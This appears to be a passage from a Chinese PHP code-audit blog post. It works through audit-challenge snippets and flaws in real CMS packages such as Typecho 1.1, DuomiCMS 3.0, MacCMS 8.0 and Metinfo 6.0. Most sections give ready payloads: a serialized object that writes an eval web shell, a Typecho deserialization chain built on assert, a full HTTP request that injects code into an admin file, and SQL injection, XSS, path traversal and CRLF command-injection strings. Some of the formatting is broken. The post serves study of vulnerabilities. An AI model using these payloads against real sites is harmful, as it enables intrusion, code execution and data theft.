<pre><code class="language-php line-numbers">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="language-php line-numbers">/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="language-php line-numbers">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim > $row['mailtime'])
        {
            $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="language-php line-numbers"><input type="hidden" name="dopost" value="getpasswd">
<input type="hidden" name="setp" value="2">
<input type="hidden" name="id" value="<?php echo $id;?>" />
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="language-php line-numbers">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db->executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db->executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[‘pwd’]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3
</code></pre>
<p></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=getpasswd&id=3&key=VeRkLvEU
</code></pre>
<p></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="language-js line-numbers"><script type="text/javascript" src="js/buy.js"></script>
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="language-js line-numbers">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="language-php line-numbers">    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this->sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this->sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer->send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="language-php line-numbers">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="line-numbers">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="line-numbers">17220 <<< To: Alice@example.com
 17220 <<< Subject: Hello Alice!
 17220 <<< X-PHP-Originating-Script: 0:test.php
 17220 <<< CC: somebodyelse@example.com
 17220 <<<
 17220 <<< <?php phpinfo(); ?>
 17220 <<< [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="line-numbers">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="line-numbers">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1′ -v -d a=1，escapeshellarg首先进行转义，处理为’127.0.0.1’\” -v -d a=1’，接着escapeshellcmd处理，处理结果为’127.0.0.1’\” -v -d a=1\’,\ 被解释成了 \ 而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="line-numbers">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>正则使用不当导致的路径穿越问题</h2>
<h3>Frost Pattern</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class TokenStorage {
  public function performAction($action, $data) {
    switch ($action) {
      case 'create':
        $this->createToken($data);
        break;
      case 'delete':
        $this->clearToken($data);
        break;
      default:
        throw new Exception('Unknown action');
    }
  }

  public function createToken($seed) {
    $token = md5($seed);
    file_put_contents('/tmp/tokens/' . $token, '...data');
  }

  public function clearToken($token) {
    $file = preg_replace("/[^a-z.-_]/", "", $token);
    unlink('/tmp/tokens/' . $file);
  }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</p>
</li>
<li>
<p>payload</p>
</li>
</ul>
<pre><code class="line-numbers">$action =delete$data = ../../config.php
</code></pre>
<h3>WeEngine0.8</h3>
<ul>
<li>web/source/site/category.ctrl.php:176</li>
</ul>
<p><strong>file_delete文件删除函数</strong><br />
</p>
<ul>
<li>framework/function/file.func.php:294</li>
</ul>
<p><strong>查看file_delete函数</strong></p>
<p></p>
<ul>
<li>追朔$file变量从何而来</li>
</ul>
<pre><code class="language-php line-numbers">if (!empty($navs)) {
        foreach ($navs as $row) {
            file_delete($row['icon']);
        }
</code></pre>
<ul>
<li>追朔$navs从何而来</li>
</ul>
<pre><code class="language-php line-numbers">    $navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');
</code></pre>
<ul>
<li>web/source/site/category.ctrl.php:137</li>
</ul>
<p></p>
<ul>
<li>web/source/site/category.ctrl.php:130</li>
</ul>
<p></p>
<p><strong>$nav[‘icon’] 即为文件删除函数的参</strong></p>
<h2>parse_str函数缺陷</h2>
<ul>
<li>parse_str</li>
</ul>
<pre><code class="line-numbers">parse_str的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。
</code></pre>
<p></p>
<h2>preg_replace函数之命令执行</h2>
<h3>Candle</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
  return preg_replace(
    '/(' . $regex . ')/ei',
    'strtolower("\\1")',
    $value
  );
}

foreach ($_GET as $regex => $value) {
  echo complexStrtolower($regex, $value) . "\n";
}
</code></pre>
<ul>
<li>preg_replace(函数执行一个正则表达式的搜索和替换)</li>
</ul>
<pre><code class="language-php line-numbers">mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
</code></pre>
<p><strong>$pattern 存在 /e 模式修正符，允许代码执行</strong><br />
<strong>/e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行</strong></p>
<p><strong>将GET请求传过来的参数通过complexStrtolower函数执行，preg_replace函数存在e修正符</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">S*=${phpinfo()} 
</code></pre>
<h4>参考</h4>
<p><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/2557">深入研究preg_replace与代码执行</a></p>
<h3>CmsEasy 5.5</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<h4>漏洞分析</h4>
<ul>
<li>lib/tool/form.php:90</li>
</ul>
<p><strong>如果$form[$name][‘default’]内容被匹配到就会执行eval</strong></p>
<p></p>
<ul>
<li>cache/template/default/manage/#guestadd.php:175</li>
</ul>
<p><strong>全局搜索getform，主要注意catid是作为$name的</strong></p>
<p></p>
<ul>
<li>lib/table/archive.php:25</li>
</ul>
<p><strong>追朔catid,寻找到default</strong></p>
<p></p>
<ul>
<li>lib/tool/front_class.php:2367</li>
</ul>
<p></p>
<ul>
<li>lib/tool/front_class.php:493</li>
</ul>
<p></p>
<ul>
<li>lib/tool/front_class.php:332</li>
</ul>
<p><strong>$form[$name][‘default’]可控</strong><br />
</p>
<ul>
<li>lib/default/manage_act.php:29</li>
</ul>
<p></p>
<ul>
<li>测试</li>
</ul>
<p></p>
<h2>str_replace函数过滤不当</h2>
<h4>Rabbit</h4>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LanguageManager {
  public function loadLanguage() {
    $lang = $this->getBrowserLanguage();
    $sanitizedLang = $this->sanitizeLanguage($lang);
    require_once("/lang/$sanitizedLang");
  }

  private function getBrowserLanguage() {
    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
    return $lang;
  }

  private function sanitizeLanguage($language) {
    return str_replace('../', '', $language);
  }
}

(new LanguageManager())->loadLanguage();
</code></pre>
<ul>
<li>str_replace(子字符串替换)</li>
</ul>
<pre><code class="line-numbers">str_replace(字符串1，字符串2，字符串3)：将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1，字符串1，字符串2)：将字符串2中出现的所有数组1中的值，换成字符串1。

str_replace(数组1，数组2，字符串1)：将字符串1中出现的所有数组1一一对应，替换成数组2的值，多余的替换成空字符串。
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">....// 或者 ..././ 
</code></pre>
<h3>Metinfo 6.0.0</h3>
<ul>
<li>strstr</li>
</ul>
<pre><code class="line-numbers">查找字符串的首次出现到结尾的字符串
</code></pre>
<p></p>
<h4>漏洞分析</h4>
<ul>
<li>app/system/include/module/old_thumb.class.php:14</li>
</ul>
<p></p>
<ul>
<li>include/thumb.php:6</li>
</ul>
<p><strong>全局搜索</strong><br />
</p>
<ul>
<li>app/system/include/class/load.class.php:113</li>
</ul>
<p></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://localhost/metInfo/include/thumb.php?dir=.....///http/.....///最终用户授权许可协议.txt
</code></pre>
<h2>程序未恰当exit导致的问题</h2>
<h3>Anticipation</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">extract($_POST);

function goAway() {
  error_log("Hacking attempt.");
  header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
  goAway();
}

if (!assert("(int)$pi == 3")) {
  echo "This is not pi.";
} else {
  echo "This might be pi.";
}
</code></pre>
<ul>
<li>extract</li>
</ul>
<pre><code class="line-numbers">从数组中将变量导入到当前的符号表
</code></pre>
<p></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">pl=phpinfo()
</code></pre>
<ul>
<li>测试</li>
</ul>
<p></p>
<h3>FengCms 1.32</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>如果安装完成会生成INSTALL文件，访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，导致程序逻辑还是往下走，还是会安装</strong></p>
<p></p>
<h3>Simple-Log1.6网站重装漏洞</h3>
<ul>
<li>install/index.php</li>
</ul>
<p><strong>访问文件如果存在此文件则会弹窗提示退出，但没有及时exit，只是跳转到首页，导致程序逻辑还是往下走，还是会安装</strong></p>
<p></p>
<h2>unserialize反序列化漏洞</h2>
<h3>Pumpkin Pie</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Template {
  public $cacheFile = '/tmp/cachefile';
  public $template = '<div>Welcome back %s</div>';

  public function __construct($data = null) {
    $data = $this->loadData($data);
    $this->render($data);
  }

  public function loadData($data) {
    if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:\/', $data)) {
      return unserialize($data);
    }
    return [];
  }

  public function createCache($file = null, $tpl = null) {
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
  }

  public function render($data) {
    echo sprintf(
      $this->template,
      htmlspecialchars($data['name'])
    );
  }

  public function __destruct() {
    $this->createCache();
  }
}

new Template($_COOKIE['data']);
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>在loadData函数中使用到了unserialize反序列化方法，对传进来的$data进行了反序列化，最后对Template进行了实例化，将COOKIE中的data进行了反序列化。</strong></p>
<pre><code class="language-php line-numbers">if (substr($data, 0, 2) !== 'O:'
      && !preg_match('/O:\d:\/', $data))
</code></pre>
<p><strong>代码对data进行了判断，不可以为对象，0:X，X不可以为数字，绕过方法可以使用array数组绕过第一个，在X前面加+绕过第二个限制，搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件，达成目的。</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers"><?php

class Template{

    public $cacheFile = './test.php';
    public $template = '<?php eval($_POST[xx])>';
}


$temp= new Template();
$test = Array($temp);
print(serialize($test));

?>
</code></pre>
<ul>
<li>测试</li>
</ul>
<pre><code class="line-numbers">a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}
</code></pre>
<p></p>
<h3>Typecho-1.1</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<h4>漏洞分析</h4>
<ul>
<li>install.php:230</li>
</ul>
<p><strong>将cookie中的__typecho_configbase64解码之后进行反序列化操作</strong></p>
<p></p>
<ul>
<li>条件</li>
</ul>
<p><strong>如果finish不存在，或者存在config.inc.php文件$_SESSION[‘typecho’]为空，则退出程序</strong></p>
<pre><code class="language-php line-numbers">if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;}
</code></pre>
<pre><code class="line-numbers">finish=1
</code></pre>
<p><strong>将反序列化后的结果传递给$config</strong></p>
<ul>
<li>install.php:232</li>
</ul>
<p></p>
<ul>
<li>var/Typecho/Db.php:114</li>
</ul>
<p></p>
<p><strong>变量adapterName = ‘Typecho_Db_Adapter_’ . 变量adapterName，如果adapterName是对象，会触发__toString()方法</strong></p>
<ul>
<li>var/Typecho/Feed.php:223</li>
</ul>
<p></p>
<ul>
<li>var/Typecho/Feed.php:290</li>
</ul>
<p><strong>如果$item[‘author’]->screenName为私有属性或者不存在会触发__get方法</strong><br />
</p>
<pre><code class="language-php line-numbers">    public function __get($key)
    {
        return $this->get($key);
    }
</code></pre>
<ul>
<li>var/Typecho/Request.php:295</li>
</ul>
<p></p>
<p><strong>call_user_fun回调函数，$this->_param[‘scrrenName’] 的值设置为想要执行的函数，构造 $this->_filter 为对应函数的参数值self::RSS2 == $this->_type,type需要构造，item[‘author’]为触发点，需要构造this_items</strong></p>
<ul>
<li>构造payload</li>
</ul>
<pre><code class="language-php line-numbers"><?php

class Typecho_Request{

    private $_params = array();
    private $_fifter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_fifter[0] = 'assert';
    }
}

class Typecho_Feed{

    private $_type;
    private $_item = array();
    public function s__construct(){

        $this->_type = 'RSS 2.0';
        $item['author'] = new Typecho_Request();
        $item['category']=Array(new Typecho_Request());
        $this->_item[0]=$item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'adapter' => $x,
    'prefix' => 'Typecho_'

);

echo base64_encode(serialize($a));

?>
</code></pre>
<p></p>
<ul>
<li>测试</li>
</ul>
<p></p>
<h2>误用htmlentities函数引发的漏洞</h2>
<h3>String Lights</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">$sanitized = [];

foreach ($_GET as $key => $value) {
  $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
  return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
  htmlentities($query) . "'>link</a>";
</code></pre>
<ul>
<li>htmlentities</li>
</ul>
<pre><code class="line-numbers">将字符转换为 HTML 转义字符
</code></pre>
<p><em>ENT_COMPAT（默认值）：只转换双引号。<br />
ENT_QUOTES：两种引号都转换。<br />
ENT_NOQUOTES：两种引号都不转换。</em></p>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">a%27onclick%3Dalert%281%29%2f%2f=1
</code></pre>
<h3>DM企业建站系统 v201710</h3>
<h4>漏洞分析</h4>
<ul>
<li>admindm-yourname/mod_common/login.php:63</li>
</ul>
<p></p>
<ul>
<li>直接拼接数据</li>
</ul>
<pre><code class="language-php line-numbers"> $ss_P="select * from ".TABLE_USER."  where  email='$user' and ps='$pscrypt'  order by id desc limit 1";
</code></pre>
<ul>
<li>component/dm-config/global.common.php:421</li>
</ul>
<p><strong>ENT_NOQUOTES两种引号都不转换，造成注入</strong><br />
</p>
<h2>特定场合下addslashes函数的绕过</h2>
<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class LoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $user = $this->sanitizeInput($this->user);
    $pass = $this->sanitizeInput($this->password);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("user = '$user' AND password = '$pass'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) > $length) {
      $input = substr($input, 0, $length);
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
  exit;
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>实例化一个LoginManager类名，接收用户传递的user，passwd两个参数，并通过isValid方法判断是否合法，sanitizeInput方法，通过addslashes方法进行过滤，再截取20位返回。</strong></p>
<ul>
<li>addslashes</li>
</ul>
<pre><code class="line-numbers">作用：在单引号（'）、双引号（"）、反斜线（\）与 NUL（ NULL 字符）字符之前加上反斜线
</code></pre>
<ul>
<li>substr</li>
</ul>
<pre><code class="line-numbers">string substr ( string $string , int $start [, int $length ] )
</code></pre>
<p><strong>返回字符串 string 由 start 和 length 参数指定的子字符串。</strong></p>
<ul>
<li>user</li>
</ul>
<pre><code class="line-numbers">1234567890123456789'
</code></pre>
<ul>
<li>sql</li>
</ul>
<pre><code class="line-numbers">select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">user=1234567890123456789'&passwd=or 1=1#
</code></pre>
<h2>苹果CMS视频分享程序 8.0</h2>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<h4>漏洞分析</h4>
<ul>
<li>inc/common/template.php:754</li>
</ul>
<p><strong>$lp[‘wd’]直接拼接SQL语句，造成SQL注入</strong></p>
<p></p>
<ul>
<li>inc/module/vod.php:96</li>
</ul>
<p></p>
<ul>
<li>inc/common/function.php:266</li>
</ul>
<p><strong>对传进来的参数进行过滤</strong></p>
<p></p>
<p>在<em>$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : ”;</em>中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。</p>
<ul>
<li>inc/common/360_safe3.php:27</li>
</ul>
<p><strong>跟踪chkSql函数</strong></p>
<p><em>将传进来的参数进行urldecode解码之后，通过StopAttack方法，最后通过htmlEncode方法，最后返回。</em></p>
<p></p>
<ul>
<li>inc/common/360_safe3.php:12</li>
</ul>
<p><em>跟进StopAttack方法，使用preg_match方法进行过滤</em></p>
<p></p>
<ul>
<li>inc/common/360_safe3.php:57<br />
<em>跟踪$getfilter方法</em></li>
</ul>
<p></p>
<ul>
<li>inc/common/function.php:572</li>
</ul>
<p><em>跟踪一下htmlEncode方法，针对 & 、 ‘ 、 空格 、 ” 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换</em></p>
<p></p>
<ul>
<li>inc/common/template.php:560</li>
</ul>
<p></p>
<p></p>
<p><em>而 wd 是可以从 REQUEST 中获取到，所以wd 实际上是可控的。</em></p>
<ul>
<li>漏洞思路</li>
</ul>
<p><em>SQL注入点是字符型注入，htmlEncode方法实体编码了单引号，最后进行了url解码操作，可以通过双编码绕过，htmlEncode方法没有过滤反斜杠，而addslashes方法会过滤反斜杠。</em></p>
<ul>
<li>构造SQL</li>
</ul>
<pre><code class="line-numbers">wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
</code></pre>
<h2>从变量覆盖到getshell</h2>
<h3>Snowman</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {
    $this->id = rand(1, 1000);

    foreach ($input as $field => $count) {
      $this->$field = $count++;
    }
  }

  public function __destruct() {
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );
  }
}

$carrot = new Carrot($_GET);
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">id=shell.pho&shell=',)%0a// 
</code></pre>
<ul>
<li>测试</li>
</ul>
<p></p>
<h3>DuomiCMS_3.0</h3>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<h4>漏洞分析</h4>
<ul>
<li>duomiphp/common.php:52</li>
</ul>
<p><em>查看全局变量注册代码</em></p>
<pre><code class="language-php line-numbers">foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
</code></pre>
<ul>
<li>duomiphp/common.php:36</li>
</ul>
<p><em>查看_RunMagicQuotes方法, _RunMagicQuotes 函数将特殊符号，使用 addslashes 函数进行转义处理</em></p>
<p></p>
<ul>
<li>admin/admin_ping.php:13</li>
</ul>
<p><em>全剧追踪fwrite函数，$weburl与token来源于post，可控。</em></p>
<p></p>
<p><em>weburl 变量和 token 变量从 POST方式获取，经过了_RunMagicQuotes方法还有webscan.php的过滤，但是可以写shell</em></p>
<p><strong>admin\admin_ping.php文件得需要admin身份才可以有访问权限写shell</strong></p>
<ul>
<li>admin/config.php:28</li>
</ul>
<p></p>
<ul>
<li>duomiphp/check.admin.php:41</li>
</ul>
<p></p>
<ul>
<li>admin/login.php:62</li>
</ul>
<p></p>
<ul>
<li>duomiphp/check.admin.php:72</li>
</ul>
<p><em>跟进checkUser方法</em></p>
<p></p>
<p></p>
<ul>
<li>登陆管理用户查看组</li>
</ul>
<p><em>可知用户组和userid均为1</em><br />
</p>
<ul>
<li>覆盖 session 的值</li>
</ul>
<p><strong>重点注意这里git项目上的覆盖session有问题，可以使用这个payload</strong></p>
<pre><code class="line-numbers">member/share.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1
</code></pre>
<ul>
<li>payload</li>
</ul>
<p>“`POST /admin/admin_ping.php?action=set HTTP/1.1<br />
Host: www.test.com:8888<br />
Cache-Control: max-age=0<br />
Upgrade-Insecure-Requests: 1<br />
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: zh-CN,zh;q=0.9<br />
Connection: close<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 34</p>
<p>weburl=";phpinfo();//&token=</p>
<p><pre><code class="line-numbers">- 测试</p>
<p>![](https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200513220531.png)</p>
<p>## $_SERVER['PHP_SELF']导致的防御失效问题</p>
<p>### Sleigh Ride</p>
<p>– code </p>
<p>“`php<br />
class Redirect {<br />
  private $websiteHost = ‘www.example.com’;</p>
<p>  private function setHeaders($url) {<br />
    $url = urldecode($url);<br />
    header(“Location: $url”);<br />
  }</p>
<p>  public function startRedirect($params) {<br />
    $parts = explode(‘/’, $_SERVER[‘PHP_SELF’]);<br />
    $baseFile = end($parts);<br />
    $url = sprintf(<br />
      “%s?%s”,<br />
      $baseFile,<br />
      http_build_query($params)<br />
    );<br />
    $this->setHeaders($url);<br />
  }<br />
}</p>
<p>if ($_GET[‘redirect’]) {<br />
  (new Redirect())->startRedirect($_GET[‘params’]);<br />
}<br />
</code></p>
<ul>
<li>环境搭建</li>
</ul>
<p></p>
<ul>
<li>题解</li>
</ul>
<p><em>代码实现的功能实则为一个URL跳转的功能，PHP_SELF 指当前的页面绝对地址。</em></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/index.php/http:%252f%252fwww.syst1m.com?redirect=1
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><em>跳转到了我的博客</em><br />
</p>
<h2>深入理解$_REQUESTS数组</h2>
<h3>Poem</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class FTP {
  public $sock;

  public function __construct($host, $port, $user, $pass) {
    $this->sock = fsockopen($host, $port);

    $this->login($user, $pass);
    $this->cleanInput();
    $this->mode($_REQUEST['mode']);
    $this->send($_FILES['file']);
  }

  private function cleanInput() {
    $_GET = array_map('intval', $_GET);
    $_POST = array_map('intval', $_POST);
    $_COOKIE = array_map('intval', $_COOKIE);
  }

  public function login($username, $password) {
    fwrite($this->sock, "USER " . $username . "\n");
    fwrite($this->sock, "PASS " . $password . "\n");
  }

  public function mode($mode) {
    if ($mode == 1 || $mode == 2 || $mode == 3) {
      fputs($this->sock, "MODE $mode\n");
    }
  }

  public function send($data) {
    fputs($this->sock, $data);
  }
}

new FTP('localhost', 21, 'user', 'password');
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>mode是通过request传进来的，在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤</em></p>
<ul>
<li>REQUEST</li>
</ul>
<p></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">?mode=1%0a%0dDELETE%20test.file 
</code></pre>
<h2>Raw MD5 Hash引发的注入</h2>
<h3>Turkey Baster</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class RealSecureLoginManager {
  private $em;
  private $user;
  private $password;

  public function __construct($user, $password) {
    $this->em = DoctrineManager::getEntityManager();
    $this->user = $user;
    $this->password = $password;
  }

  public function isValid() {
    $pass = md5($this->password, true);
    $user = $this->sanitizeInput($this->user);

    $queryBuilder = $this->em->createQueryBuilder()
      ->select("COUNT(p)")
      ->from("User", "u")
      ->where("password = '$pass' AND user = '$user'");
    $query = $queryBuilder->getQuery();
    return boolval($query->getSingleScalarResult());
  }

  public function sanitizeInput($input) {
    return addslashes($input);
  }

  $c = new RealSecureLoginManager(
  $_POST['user'],
  $_POST['passwd']
);
if (!$auth->isValid()) {
  exit;
}
</code></pre>
<ul>
<li>md5(计算字符串的 MD5 散列值)</li>
</ul>
<pre><code class="language-php line-numbers">string md5 ( string $str [, bool $raw_output = false ] )
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><em>auth新建了一个RealSecureLoginManager对象，传进去POST的user和passwd。在md5方法中，如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。</em></p>
<ul>
